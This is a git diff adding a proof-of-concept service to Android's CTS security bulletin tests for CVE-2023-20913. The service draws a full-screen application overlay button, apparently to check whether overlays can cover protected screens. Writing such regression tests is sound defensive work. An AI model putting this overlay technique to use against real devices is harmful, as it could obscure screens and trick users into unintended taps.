1 files changed, 75 insertions, 0 deletions
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/PocService.java
new file mode 100644
index 00000000000..6ac55d98cff
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/PocService.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20913;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.util.DisplayMetrics;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+    private Button mButton;
+    private WindowManager mWindowManager;
+
+    @Override
+    public void onCreate() {
+        try {
+            super.onCreate();
+            mWindowManager = getSystemService(WindowManager.class);
+            LayoutParams layoutParams = new LayoutParams();
+            layoutParams.type = LayoutParams.TYPE_APPLICATION_OVERLAY;
+            layoutParams.flags =
+                    LayoutParams.FLAG_NOT_TOUCH_MODAL | LayoutParams.FLAG_NOT_FOCUSABLE;
+            layoutParams.format = PixelFormat.OPAQUE;
+            layoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+            DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics();
+            layoutParams.width = displayMetrics.widthPixels;
+            layoutParams.height = displayMetrics.heightPixels;
+            layoutParams.x = displayMetrics.widthPixels / 2;
+            layoutParams.y = displayMetrics.heightPixels / 2;
+
+            // Show the floating window
+            mButton = new Button(this);
+            mButton.setText(getString(R.string.textOverlayButton));
+            mWindowManager.addView(mButton, layoutParams);
+        } catch (Exception ignored) {
+            // In case of occurrence of an exception overlay won't appear on display which results
+            // in assumption failure in device test. Hence ignoring this exception here.
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onDestroy() {
+        try {
+            mWindowManager.removeView(mButton);
+            super.onDestroy();
+        } catch (Exception ignored) {
+            // Ignoring unintended exceptions
+        }
+    }
+}